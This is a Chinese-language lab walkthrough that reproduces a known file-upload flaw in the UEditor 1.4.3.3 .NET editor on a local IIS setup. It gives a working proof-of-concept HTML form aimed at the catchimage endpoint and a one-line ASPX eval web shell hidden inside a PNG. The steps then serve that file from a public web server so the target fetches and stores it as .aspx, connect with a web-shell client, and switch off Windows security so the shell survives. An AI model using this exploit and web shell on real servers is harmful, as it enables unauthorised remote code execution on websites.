一、漏洞介绍
Ueditor编辑器上传漏洞导致getshell
漏洞存在版本:1.4.3.3 Net版(目前最新版本,已停更)
二、环境搭建
需要安装:IIS环境搭建、Ueditor编辑器源码下载、公网图片码链接
1.首先现在下源码文件
这里可以看到有很多版本,坑:注意这个是源码文件,需要进行编译过后才可以部署到web。
3.编译处理
需要环境:java、npm、grunt
切到ueditor目录,使用 npm install 命令安装相关依赖包,安装好后目录下会多个node_modules文件夹
npm install -g grunt-cli //全局安装,我也不懂,跟着操作就行
grunt --encode=utf8 --server=net //形成文件
\dist\utf8-net\ //最后形成目录下为全部文件
4.IIS环境搭建
WIN10 专业版1903 ip:192.168.0.103
开启.net服务,里面有的默认不选,反正我是全打勾了。
将刚刚生成的文件夹 utf8-net 复制到test目录下,并且重命名为ueditro。
坑:必须重命名。
test添加为应用程序;net添加为应用程序。
访问http://192.168.0.103/ueditor/index.html ,显示下面示例,部署成功。
坑:这里部署完了后上传图片看看能不能用,能上传图片并能访问到路径,后再进行下一步操作。这里如果不能上传图片
这里的大坑:添加用户操作权限、或.net版本过高,根据个人情况自行百度,这里的细节不太记得清了。
为了验证漏洞是否存在,或.net环境是否能正常运行ueditor,如果下面两种情况有一种不对,就说明环境没搭建好。
http://192.168.0.103/ueditor/net/controller.ashx?action=catchimage //漏洞存在
http://192.168.0.103/ueditor/net/controller.ashx?action=config //.net环境运行正常
三、漏洞复现
1.POC,将标红部分修改为靶机ip,直接名命test.html 即可。
<form action="http://192.168.0.103/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
坑:ip后的路径根据环境不同进行修改。
2.制作图片马
<%@ Page Language="Jscript"%><%eval(Request.Item["888888"],"unsafe");%>
copy 121212.png/b + cese.aspx 444.png
3.公网搭建临时web服务
这里有人问了,本地再起一个web服务不行吗?我是试过了,还真不行,必须得公网的上传成功才会给返回上传路径。
python -m SimpleHTTPServer 8080
坑:这里的8080端口如何出网根据个人云服务进行设置
4.上传shell
http://**.**.**.**:8080/444.png?.aspx
上传成功后会有地址
根据地址访问,如果出现这种图片内容乱码,说明成功了。
http://192.168.0.103/ueditor/net/upload/image/20200729/6373158015983417701454704.aspx
坑:这里url路径要准确
菜刀链接
坑:这里最坑,1.上传上去后被win10自带安全清除文件,安全中心关的干净点 2.图片不合适合成的图片马也不能运行,多试两张图片
3.aspx不解析,根据报错提醒让在net目录下的web.config文件添加了一行 <customErrors mode="Off"/>
参考链接:
https://jingyan.baidu.com/article/76a7e4091e6e9efc3a6e1542.html